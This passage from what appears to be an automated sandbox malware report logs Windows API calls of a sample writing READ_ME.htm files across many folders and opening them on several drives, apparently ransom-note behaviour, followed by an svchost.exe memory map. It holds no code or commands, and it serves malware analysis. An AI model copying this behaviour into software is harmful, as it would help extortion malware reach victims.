(lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\READ_ME.htm" (normalized: "c:\\users\\public\\videos\\sample videos\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0170.727] GetFileType (hFile=0x1d0) returned 0x1 [0170.727] SetErrorMode (uMode=0x0) returned 0x1 [0170.727] GetFileType (hFile=0x1d0) returned 0x1 [0170.727] WriteFile (in: hFile=0x1d0, lpBuffer=0x2816420*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2816420*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0170.728] CloseHandle (hObject=0x1d0) returned 1 [0170.729] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\READ_ME.htm", lpFilePart=0x0) returned 0x22 [0170.729] SetErrorMode (uMode=0x1) returned 0x0 [0170.729] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\READ_ME.htm" (normalized: "c:\\users\\public\\videos\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0170.731] GetFileType (hFile=0x1d0) returned 0x1 [0170.731] SetErrorMode (uMode=0x0) returned 0x1 [0170.731] GetFileType (hFile=0x1d0) returned 0x1 [0170.731] WriteFile (in: hFile=0x1d0, lpBuffer=0x281a970*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x281a970*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0170.732] CloseHandle (hObject=0x1d0) returned 1 [0170.732] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\READ_ME.htm", lpFilePart=0x0) returned 0x1b [0170.733] SetErrorMode (uMode=0x1) returned 0x0 [0170.733] CreateFileW (lpFileName="C:\\Users\\Public\\READ_ME.htm" (normalized: "c:\\users\\public\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0170.735] GetFileType (hFile=0x1d0) returned 0x1 [0170.735] SetErrorMode (uMode=0x0) returned 0x1 [0170.735] GetFileType (hFile=0x1d0) returned 0x1 [0170.735] WriteFile (in: hFile=0x1d0, lpBuffer=0x281eea0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x281eea0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0170.737] CloseHandle (hObject=0x1d0) returned 1 [0170.737] GetFullPathNameW (in: lpFileName="C:\\Users\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\READ_ME.htm", lpFilePart=0x0) returned 0x14 [0170.737] SetErrorMode (uMode=0x1) returned 0x0 [0170.737] CreateFileW (lpFileName="C:\\Users\\READ_ME.htm" (normalized: "c:\\users\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0170.738] GetFileType (hFile=0x1d0) returned 0x1 [0170.738] SetErrorMode (uMode=0x0) returned 0x1 [0170.738] GetFileType (hFile=0x1d0) returned 0x1 [0170.738] WriteFile (in: hFile=0x1d0, lpBuffer=0x28233c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x28233c0*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0170.739] CloseHandle (hObject=0x1d0) returned 1 [0170.740] GetFullPathNameW (in: lpFileName="C:\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\READ_ME.htm", lpFilePart=0x0) returned 0xe [0170.740] SetErrorMode (uMode=0x1) returned 0x0 [0170.740] CreateFileW (lpFileName="C:\\READ_ME.htm" (normalized: "c:\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0170.741] GetFileType (hFile=0x1d0) returned 0x1 [0170.741] SetErrorMode (uMode=0x0) returned 0x1 [0170.741] GetFileType (hFile=0x1d0) returned 0x1 [0170.741] WriteFile (in: hFile=0x1d0, lpBuffer=0x28278c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d758, lpOverlapped=0x0 | out: lpBuffer=0x28278c0*, lpNumberOfBytesWritten=0x21d758*=0x720, lpOverlapped=0x0) returned 1 [0170.742] CloseHandle (hObject=0x1d0) returned 1 [0170.790] CoTaskMemAlloc (cb=0x20c) returned 0x358220 [0170.790] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x358220 | out: pszPath="C:\\Users\\kEecfMwgj\\Desktop") returned 0x0 [0170.794] CoTaskMemFree (pv=0x358220) [0170.794] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x105, lpBuffer=0x21d4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0170.810] LocalAlloc (uFlags=0x0, uBytes=0x4e) returned 0x2fe4b0 [0170.811] RtlMoveMemory (in: Destination=0x2fe4b0, Source=0x282a878, Length=0x4e | out: Destination=0x2fe4b0) [0170.822] ShellExecuteExW (in: pExecInfo=0x282aaa8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\Desktop\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x282aaa8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\Desktop\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0170.914] BeginPaint (in: hWnd=0x202fe, lpPaint=0x21c958 | out: lpPaint=0x21c958) returned 0x3010b83 [0170.914] SelectPalette (hdc=0x3010b83, hPal=0x1c080b77, bForceBkgd=1) returned 0x188000b [0170.914] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0170.914] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0170.914] GetSystemMetrics (nIndex=42) returned 0 [0170.914] CoTaskMemAlloc (cb=0x8) returned 0x1ae91d30 [0170.914] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae91d30, nMaxCount=2 | out: lpString="S") returned 1 [0170.914] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae91d30) returned 0x1 [0170.915] CoTaskMemFree (pv=0x1ae91d30) [0170.918] EndPaint (hWnd=0x202fe, lpPaint=0x21c968) returned 1 [0170.918] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x0 [0171.143] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x3e0, wParam=0x5029e, lParam=0xffffffffc16ec16d) returned 0x0 [0171.143] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x3e0, wParam=0x5029e, lParam=0xffffffffc16ec16d) returned 0x0 [0171.144] NtdllDefWindowProc_W () returned 0x0 [0171.819] LocalFree (hMem=0x2fe4b0) returned 0x0 [0171.819] LocalAlloc (uFlags=0x0, uBytes=0x1e) returned 0x1ae90940 [0171.819] RtlMoveMemory (in: Destination=0x1ae90940, Source=0x282ac80, Length=0x1e | out: Destination=0x1ae90940) [0171.819] ShellExecuteExW (in: pExecInfo=0x282ae40*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="c:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x282ae40*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="c:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0172.030] LocalFree (hMem=0x1ae90940) returned 0x0 [0172.030] LocalAlloc (uFlags=0x0, uBytes=0x1e) returned 0x1ae90940 [0172.030] RtlMoveMemory (in: Destination=0x1ae90940, Source=0x282af58, Length=0x1e | out: Destination=0x1ae90940) [0172.030] ShellExecuteExW (in: pExecInfo=0x282b118*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="d:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x282b118*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="d:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x5, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 0 [0173.297] CoTaskMemAlloc (cb=0x204) returned 0x1ae9d690 [0173.298] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0xf, dwLanguageId=0x0, lpBuffer=0x1ae9d690, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the drive specified.\r\n") returned 0x2d [0173.301] CoTaskMemFree (pv=0x1ae9d690) [0173.680] LocalFree (hMem=0x1ae90940) returned 0x0 [0173.682] LocalAlloc (uFlags=0x0, uBytes=0x1e) returned 0x1ae90940 [0173.682] RtlMoveMemory (in: Destination=0x1ae90940, Source=0x282b768, Length=0x1e | out: Destination=0x1ae90940) [0173.682] ShellExecuteExW (in: pExecInfo=0x282b928*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="e:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x282b928*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="e:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x5, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 0 [0173.722] CoTaskMemAlloc (cb=0x204) returned 0x1ae9d690 [0173.722] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0xf, dwLanguageId=0x0, lpBuffer=0x1ae9d690, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the drive specified.\r\n") returned 0x2d [0173.722] CoTaskMemFree (pv=0x1ae9d690) [0173.730] LocalFree (hMem=0x1ae90940) returned 0x0 [0173.731] LocalAlloc (uFlags=0x0, uBytes=0x1e) returned 0x1ae90940 [0173.731] RtlMoveMemory (in: Destination=0x1ae90940, Source=0x282bf18, Length=0x1e | out: Destination=0x1ae90940) [0173.731] ShellExecuteExW (in: pExecInfo=0x282c0d8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="f:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x282c0d8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="f:\\READ_ME.htm", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x5, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 0 [0173.741] CoTaskMemAlloc (cb=0x204) returned 0x1aed9250 [0173.741] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0xf, dwLanguageId=0x0, lpBuffer=0x1aed9250, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the drive specified.\r\n") returned 0x2d [0173.741] CoTaskMemFree (pv=0x1aed9250) [0173.746] LocalFree (hMem=0x1ae90940) returned 0x0 [0177.059] PostThreadMessageW (idThread=0xf10, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0177.060] InvalidateRect (hWnd=0x30302, lpRect=0x0, bErase=1) returned 1 [0177.062] GetWindowThreadProcessId (in: hWnd=0x202fe, lpdwProcessId=0x21d8d0 | out: lpdwProcessId=0x21d8d0) returned 0xf10 [0177.062] GetCurrentThreadId () returned 0xf10 [0177.064] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc1d5 [0177.065] PostMessageW (hWnd=0x202fe, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.068] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0177.068] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0177.068] GetSystemMetrics (nIndex=42) returned 0 [0177.068] CoTaskMemAlloc (cb=0x8) returned 0x1ae91d40 [0177.068] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae91d40, nMaxCount=2 | out: lpString="S") returned 1 [0177.068] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae91d40) returned 0x1 [0177.068] CoTaskMemFree (pv=0x1ae91d40) [0177.080] OleInitialize (pvReserved=0x0) returned 0x0 [0177.081] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x21e3e0 | out: lplpMessageFilter=0x21e3e0*=0x0) returned 0x0 [0177.083] PeekMessageW (in: lpMsg=0x21e2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x21e2e0) returned 1 [0177.085] GetMessageA (in: lpMsg=0x21e2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x21e2e0) returned 0 [0177.142] DestroyCursor (hCursor=0xa02c1) returned 1 [0177.147] GetWindowLongPtrW (hWnd=0x202fe, nIndex=-20) returned 0x90000 [0177.147] DestroyWindow (hWnd=0x202fe) returned 1 [0177.147] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0177.147] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x46, wParam=0x0, lParam=0x21dd70) returned 0x0 [0177.148] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21d7d0 | out: lpwndpl=0x21d7d0) returned 1 [0177.148] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x47, wParam=0x0, lParam=0x21dd70) returned 0x0 [0177.148] GetClientRect (in: hWnd=0x202fe, lpRect=0x21d570 | out: lpRect=0x21d570) returned 1 [0177.148] GetWindowRect (in: hWnd=0x202fe, lpRect=0x21d570 | out: lpRect=0x21d570) returned 1 [0177.149] PostThreadMessageW (idThread=0xf10, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0177.151] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.151] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.151] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0177.152] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0177.152] DestroyWindow (hWnd=0x20300) returned 1 [0177.152] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0177.153] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.153] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20300, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0177.159] GetCurrentThreadId () returned 0xf10 [0177.159] EnumThreadWindows (dwThreadId=0xf10, lpfn=0xa2276c, lParam=0x0) returned 1 [0177.161] IsWindowVisible (hWnd=0x20310) returned 0 [0177.161] IsWindowVisible (hWnd=0x2030a) returned 0 [0177.162] GetWindowThreadProcessId (in: hWnd=0x20304, lpdwProcessId=0x21e1f0 | out: lpdwProcessId=0x21e1f0) returned 0xf10 [0177.162] GetCurrentThreadId () returned 0xf10 [0177.164] GetWindowLongPtrW (hWnd=0x20304, nIndex=-20) returned 0x10100 [0177.164] DestroyWindow (hWnd=0x20304) returned 1 [0177.164] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0177.164] GetWindowTextLengthW (hWnd=0x20304) returned 25 [0177.164] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0177.164] GetSystemMetrics (nIndex=42) returned 0 [0177.164] CoTaskMemAlloc (cb=0x38) returned 0x1aeafad0 [0177.164] GetWindowTextW (in: hWnd=0x20304, lpString=0x1aeafad0, nMaxCount=26 | out: lpString="WindowsFormsParkingWindow") returned 25 [0177.164] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0xd, wParam=0x1a, lParam=0x1aeafad0) returned 0x19 [0177.164] CoTaskMemFree (pv=0x1aeafad0) [0177.164] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.164] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0177.169] GetCurrentThreadId () returned 0xf10 [0177.171] GetCurrentThreadId () returned 0xf10 [0177.171] EnumThreadWindows (dwThreadId=0xf10, lpfn=0xa227bc, lParam=0x0) returned 1 [0177.171] IsWindowVisible (hWnd=0x20310) returned 0 [0177.171] IsWindowVisible (hWnd=0x2030a) returned 0 [0177.172] OleUninitialize () [0177.175] CloseHandle (hObject=0x188) returned 1 [0177.175] DeactivateActCtx (dwFlags=0x0, ulCookie=0x11b41d3900000002) returned 1 [0177.176] CoGetContextToken (in: pToken=0x21f4e0 | out: pToken=0x21f4e0) returned 0x0 [0177.176] CObjectContext::QueryInterface () returned 0x0 [0177.177] CObjectContext::GetCurrentThreadType () returned 0x0 [0177.177] Release () returned 0x0 [0177.178] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x2fcb40*=0x7c, lpdwindex=0x21f220 | out: lpdwindex=0x21f220) returned 0x0 Thread: id = 13 os_tid = 0xf14 Thread: id = 14 os_tid = 0xf18 [0116.853] CoGetContextToken (in: pToken=0x11df620 | out: pToken=0x11df620) returned 0x800401f0 [0116.854] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0177.186] SetWindowLongPtrW (hWnd=0x2030e, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa117ac [0177.189] SetClassLongPtrW (hWnd=0x2030e, nIndex=-24, dwNewLong=0x772ab0ac) returned 0xa1175c [0177.190] PostMessageW (hWnd=0x2030e, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0177.190] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0177.191] UnregisterClassW (lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", hInstance=0x1380000) returned 1 [0177.192] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0177.192] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", hInstance=0x1380000) returned 0 [0177.193] IsWindow (hWnd=0x20310) returned 1 [0177.194] GetModuleHandleW (lpModuleName="user32.dll") returned 0x77060000 [0177.196] CoTaskMemAlloc (cb=0x10) returned 0x1aeac370 [0177.196] GetProcAddress (hModule=0x77060000, lpProcName="DefWindowProcW") returned 0x772ab0ac [0177.196] CoTaskMemFree (pv=0x1aeac370) [0177.219] SetWindowLongPtrW (hWnd=0x20310, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa2162c [0177.221] SetClassLongPtrW (hWnd=0x20310, nIndex=-24, dwNewLong=0x772ab0ac) returned 0xa2162c [0177.221] IsWindow (hWnd=0x20310) returned 1 [0177.222] DestroyWindow (hWnd=0x20310) returned 0 [0177.223] PostMessageW (hWnd=0x20310, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0177.223] SetConsoleCtrlHandler (HandlerRoutine=0xa1188c, Add=0) returned 1 [0177.225] DeleteAtom (nAtom=0xc000) returned 0x0 [0177.225] FindAtomW (lpString="GDI+Atom_3852_1") returned 0x0 [0177.226] DeleteObject (ho=0x1c080b77) returned 1 [0177.263] FindAtomW (lpString="GDI+Atom_3852_1") returned 0x0 [0177.267] DeleteObject (ho=0x180a0b80) returned 1 [0177.267] DestroyCursor (hCursor=0x501ff) returned 1 [0177.275] CloseHandle (hObject=0x18c) returned 1 [0177.276] UnmapViewOfFile (lpBaseAddress=0xb20000) returned 1 [0177.276] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 17 os_tid = 0xf28 Thread: id = 59 os_tid = 0xfac Thread: id = 60 os_tid = 0xfe0 Thread: id = 61 os_tid = 0xfec Thread: id = 62 os_tid = 0x908 Thread: id = 63 os_tid = 0x76c Thread: id = 64 os_tid = 0x608 Thread: id = 65 os_tid = 0xcd8 Thread: id = 66 os_tid = 0xcdc Thread: id = 67 os_tid = 0xcbc Thread: id = 68 os_tid = 0xcb8 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7818000" os_pid = "0x368" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d9b2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1692 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1693 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1694 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1695 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1696 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1697 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1698 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1699 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1700 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1701 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 1702 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1703 start_va = 0x130000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1704 start_va = 0x1a0000 end_va = 0x1aafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 1705 start_va = 0x1b0000 end_va = 0x1bcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1706 start_va = 0x1c0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1707 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1708 start_va = 0x3c0000 end_va = 0x547fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1709 start_va = 0x550000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1710 start_va = 0x6e0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1711 start_va = 0x7a0000 end_va = 0x7a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 1712 start_va = 0x7b0000 end_va = 0x7b9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 1713 start_va = 0x7c0000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 1714 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 1715 start_va = 0x7e0000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" 